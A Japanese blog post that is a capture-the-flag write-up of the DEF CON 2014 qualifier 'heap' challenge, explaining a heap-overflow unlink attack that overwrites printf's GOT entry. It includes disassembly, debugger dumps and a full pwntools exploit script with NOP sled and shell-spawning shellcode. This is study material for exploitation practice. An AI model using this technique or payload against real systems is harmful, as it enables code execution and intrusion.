ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

DEF CON CTF Qualifier 2014 heap

32bit-ELFでxinetd型だった。今回はheapということでかなりrevに力を入れないといけないなぁと思いつつ問題を解くことにした。ということでさっそく、checksecと実行をしてみた。

shima@chino:~/workspace/pwn_list_easy/heap$ checksec --file heap 
[*] '/home/shima/workspace/pwn_list_easy/heap/heap'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

NXは立っているがheapの部分は実際に動かしてみるまで分からないため、実際にgdbmallocされた後で止めてvmmapして確かめた。
f:id:shimasyaro:20170322161519p:plain
これを見るとどうやら、heapには実行権限がついているため、今回はshellcodeを使っても問題なさそうだ。

shima@chino:~/workspace/pwn_list_easy/heap$ ./heap 

Welcome to your first heap overflow...
I am going to allocate 20 objects...
Using Dougle Lee Allocator 2.6.1...
Goodluck!

Exit function pointer is at 804C8AC address.
[ALLOC][loc=88A8008][size=1246]
[ALLOC][loc=88A84F0][size=1121]
[ALLOC][loc=88A8958][size=947]
[ALLOC][loc=88A8D10][size=741]
[ALLOC][loc=88A9000][size=706]
[ALLOC][loc=88A92C8][size=819]
[ALLOC][loc=88A9600][size=673]
[ALLOC][loc=88A98A8][size=1004]
[ALLOC][loc=88A9C98][size=952]
[ALLOC][loc=88AA058][size=755]
[ALLOC][loc=88AA350][size=260]
[ALLOC][loc=88AA458][size=877]
[ALLOC][loc=88AA7D0][size=1245]
[ALLOC][loc=88AACB8][size=1047]
[ALLOC][loc=88AB0D8][size=1152]
[ALLOC][loc=88AB560][size=1047]
[ALLOC][loc=88AB980][size=1059]
[ALLOC][loc=88ABDA8][size=906]
[ALLOC][loc=88AC138][size=879]
[ALLOC][loc=88AC4B0][size=823]
Write to object [size=260]:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Copied 334 bytes.
[FREE][address=88A8008]
[FREE][address=88A84F0]
[FREE][address=88A8958]
[FREE][address=88A8D10]
[FREE][address=88A9000]
[FREE][address=88A92C8]
[FREE][address=88A9600]
[FREE][address=88A98A8]
[FREE][address=88A9C98]
[FREE][address=88AA058]
[FREE][address=88AA350]
Segmentation fault (コアダンプ)

heap overflowと書かれていたため、260以上の入力を行ったとき、セグフォを起こした。このときfreeはallocされた順番にfreeされていき、11番目でセグフォで終了したため、「ここら辺がHeap overflowで書き換わったのかな?」と思いつつfreeを中心に見ていくことにした。すると以下のような形でchunkが20個並んでいることが分かった。 f:id:shimasyaro:20170322104516p:plain
そして、次のchunkを調べるときは現在のSIZEのアドレスからSIZEを足すことによって次のchunkのSIZEを指すといった動きをしていた。この動きを利用して以下のような動きが気になった。

mov     eax, [ebp+next_size_ptr]
mov     eax, [eax]
and     eax, 0FFFFFFFEh ; P->fd->size
add     eax, [ebp+next_size_ptr]
mov     eax, [eax]      ; P->fd->fd->size
and     eax, 1          ; P->fd->fd->size (prev is alloc?)
test    eax, eax
jnz     short prev_alloc

どうやら、and処理の部分でprev_inuseを操作していることが分かる。prev_inuseをみて、前のchunkがどうかを見ている。freeはallocされた順番に行われていく。ここの処理では、直下のchunkがallocかfreeかでその結果でjnzで処理を分けている。図にすると以下のようになる。
f:id:shimasyaro:20170322112442p:plain
ここでどういったoverflowをするのかというと、直上の260byteの部分のchunk(11個目)がoverflowし、12個目のchunkが書き換わってしまうバグだ。このバグを利用して攻撃を行う。攻撃する方法としてはprev_inuseチェックした後、freeと判断されて分岐先となる、unlink処理の部分を利用することにした。

prev_free:
mov     eax, [ebp+fd]
mov     edx, [ebp+bk]
mov     [eax+8], edx    ; P->fd->bk = P->bk
mov     eax, [ebp+bk]
mov     edx, [ebp+fd]
mov     [eax+4], edx    ; P->bk->fd = P->fd

ここで攻撃として利用するのはunlink attackを行う。行う部分は、P->fd->bk = P->bkだ。eaxにはP->fdが入るため、ここをP->fd->bk(適当なGOTアドレス-8) = P->bk(chunk data address 11個目)にする。攻撃はこれでいいが、問題はどうやって、free状態だと誤認させるかだ。
ここで注目しなければならないことは「SIZEを足して次のchunkにアクセスしている」という点だ。つまり、12個目のSIZEを適当なサイズにして「1bit目が0になっているところに飛ばす」ということをやれば誤認する。
ここで注意しなければならないことは11個目のchunkはまだ、「freeされていない」という点だ。つまり、適当なサイズにする時に「1bit目は必ず1」にしなければunlinkの途中でエラーを起こして強制終了になる。以上をまとめると以下のような図になる。
f:id:shimasyaro:20170322125139p:plain
図のchunk12個目のSIZEが0x21になっているがDataの部分はすべて0になっているため、適当な場所に飛ばすためにこの値にしている。gotのアドレスだが、freeが終了するたびにprintfで表示しているため、ここの値を書き換えることにした。
しかし、heapのアドレスに飛ばしてもまだ、落とし穴がある。

gdb-peda$ x/30wx 0x804f350
0x804f350: 0x00000000 0x0804bffc 0x00000000 0x00000000
0x804f360: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f370: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f380: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f390: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804f3c0: 0x00000000 0x00000000

これは、chunk11個目のdata部分に飛んだ様子だが、0x0804bffc(printf.got - 8)が入っているのが分かるだろうか。つまりここの部分がunlink attackしたときに潰されてるために攻撃を工夫したければならない。
攻撃方法として「jmp命令を入れてshellcodeの部分に飛ばす」ということをする。最初の4byteの部分をjmp命令とpaddingで埋め、NOPがある部分に飛ぶようにし、NOP sledさせてshellcodeを起動させるようにする。
以上を踏まえると以下のようなcodeになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./heap')
print_got = elf.got['printf']

conn = process('./heap')
print "[+] connect to local\n"

# get chunk data address (number of 11)
heap_addr  = int(conn.recvuntil('][size=260]')[-18:-11],16)
print "heap:%08x" % heap_addr
buffer_len = 200
shellcode = asm(shellcraft.sh())

# unlink attack
payload = ''
payload += "\xeb\x10"+"\x90\x90"                 # jmp 0x10 + padding(2byte)
payload += '\x90' * 56                           # NOP sled
payload += shellcode
payload += '\x00' * (buffer_len - len(shellcode))
payload += p32(0x21)                             # size(previn_use=0)
payload += p32(print_got - 8)                    # fd
payload += p32(heap_addr)                        # bk
payload += '\n'

conn.send(payload)

conn.interactive()

jmp命令で適当なNOPの場所に飛ばしてスライドさせてshellcodeが起動するようにした。
[総評]unlink attackの基礎(実際のmallocの動きに近い)を知ることができた。